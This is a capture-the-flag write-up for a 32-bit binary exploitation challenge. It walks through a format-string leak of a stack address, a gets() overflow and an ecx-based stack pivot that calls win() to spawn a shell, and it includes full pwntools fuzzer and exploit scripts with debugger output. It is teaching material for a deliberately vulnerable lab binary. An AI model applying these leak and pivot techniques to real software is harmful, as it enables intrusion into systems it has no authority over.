oldschool
- Category
-
pwn - Files
- main main.c Dockerfile
- Description
- learn to pwn with this easy challenge!
Inspecting the binary with checksec:
❯ checksec main Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: NoThe binary is a 32-bit ELF with NX enabled but No canary and No PIE. This means we have fixed addresses but cannot execute shellcode on the stack.
Program Analysis
The program is straightforward. It contains a win() function that spawns a shell if the correct password is provided.
void win(char *password){ if (strcmp(password, "hwhwhwhwhwhw") == 0) { system("/bin/sh"); }}In main(), we see two opportunities for exploitation:
12: int main()13: {14: setvbuf(stdout, NULL, _IONBF, 0);15: setvbuf(stdin, NULL, _IONBF, 0);16:17: char input[15];18: char password[15];19:20: printf("simple pwn... no trickery needed...\n");21: gets(input);22: printf(input);23: printf("\nsay yer magic words: ");24: gets(password);25: printf(password);...37: return 0;38: }- Format String Vulnerability: Both
printf(input)(line 22) andprintf(password)(line 25) are vulnerable because the input is passed directly as a format string. - Buffer Overflow: Both
gets(input)(line 21) andgets(password)(line 24) are vulnerable becausegets()does not check the size of the input. While the program checks ifinput == "hehehehehehehe"andpassword == "huhuhuhuhuhu"at the end ofmain(), we can bypass this logic entirely by redirecting execution.
The binary was compiled in a way that the main() function performs a stack restoration from the ecx register. This is often seen in 32-bit binaries compiled with certain stack alignment optimizations.
Looking at the disassembly of the main() function’s epilogue:
pop ecxpop ebxpop ebplea esp, [ecx - 4]retIf we can control the value of ecx before the lea esp, [ecx - 4] instruction, we can move the stack pointer esp to a location of our choice. Since the ret instruction pops the next instruction pointer from the stack, this gives us full control over execution.
Exploitation
Before we can pivot the stack, we need a reliable stack address. Since we have a format string vulnerability in the first printf(input), we can fuzz the stack to find a leak.
I used the following fuzz.py script to inspect the stack values:
from pwn import *
elf = context.binary = ELF('./main', checksec=False)
for i in range(20): try: io = process(level='error') io.sendlineafter(b'needed...\n','%{}$p'.format(i).encode()) result = io.recvline().decode() if result: print(f"{i}: {result.strip()}") except EOFError: passRunning the fuzzer gives us the following output:
...10: 0xf7fc140011: (nil)12: 0xffffd3a013: 0xf7faae34...The leak at index 12 represents a stack address that we can use as a base for our calculations.
We need to point ecx (and subsequently esp) back to our input buffer where our payload lives. By debugging the binary, we can determine the exact distance between the leaked address at index 12 and the start of our payload.
In this case, the stack_target is exactly 48 bytes below the leaked address. We subtract this offset so that when main() performs the stack pivot, esp lands exactly on our forged stack.
# 1. Leak stack addressio.sendlineafter(b'...\n', b'%12$p')leak = int(io.recvline().strip(), 16)stack_target = leak - 48 # Offset to point back specifically to P+14Once our payload is sent to gets(password), the stack frame for main() is corrupted. Here is a visual representation of the memory layout just before the ret instruction in the function epilogue:
pwndbg> tele 0xffffd3b0-1600:0000│-028 0xffffd3a0 ◂— 0x4141000001:0004│-024 0xffffd3a4 ◂— 0x41414141 ('AAAA')02:0008│-020 0xffffd3a8 ◂— 0x41414141 ('AAAA')03:000c│-01c 0xffffd3ac —▸ 0x80491b6 (win) ◂— push ebp04:0010│ ecx 0xffffd3b0 ◂— 005:0014│-014 0xffffd3b4 —▸ 0x804a008 ◂— 'hwhwhwhwhwhw'06:0018│-010 0xffffd3b8 —▸ 0xffffd3b0 ◂— 007:001c│-00c 0xffffd3bc —▸ 0xffffd3b0 ◂— 0The magic happens when the function epilogue executes. By pointing ecx to an address 4 bytes after our &win pointer, the lea esp, [ecx-4] instruction perfectly aligns esp with our target address. When ret is executed, it pops &win and launches the shell.
Next, we craft the full payload:
win = elf.sym["win"]str_addr = next(elf.search(b'hwhwhwhwhwhw'))
payload = flat([ b'A'*10, # Fill buffer p32(win), # win() address (pivoted EIP) p32(0), # return address (dummy) p32(str_addr), # win() argument p32(stack_target)*3, # overwrite ECX, EBX, EBP])
io.sendlineafter(b'magic words: ', payload)When main() returns, the stack pivots to our buffer, and the win() function is called with the required password argument, spawning our shell.
Exploit Script
from pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
gdbscript = '''init-pwndbgset follow-fork-mode parentset follow-exec-mode sameb *0x0804925db *0x080492b1b *0x080492cccontinue'''.format(**locals())
exe = './main'elf = context.binary = ELF(exe, checksec=False)context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)def loglibc(): log.success('libc addr = %#x' % libc.address)def logbase(): log.success('pie addr = %#x' % elf.address)def sa(delim,data): return io.sendafter(delim,data)def sla(delim,line): return io.sendlineafter(delim,line)def sl(line): return io.sendline(line)
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary# libc = ELF("./libc.so.6")# ld = ELF("./ld-2.27.so")
io = start()
win = elf.sym["win"]str = next(elf.search(b'hwhwhwhwhwhw'))
sla(b'...\n',b'%12$p')leak = int(io.recvline().strip(),16)stack = leak - 48
logleak('stack leak',leak)logleak('payload address',stack)logleak('win',win)
payload = flat([ b'A'*10, p32(win), p32(0), p32(str), p32(stack)*3,])
sl(payload)
io.interactive()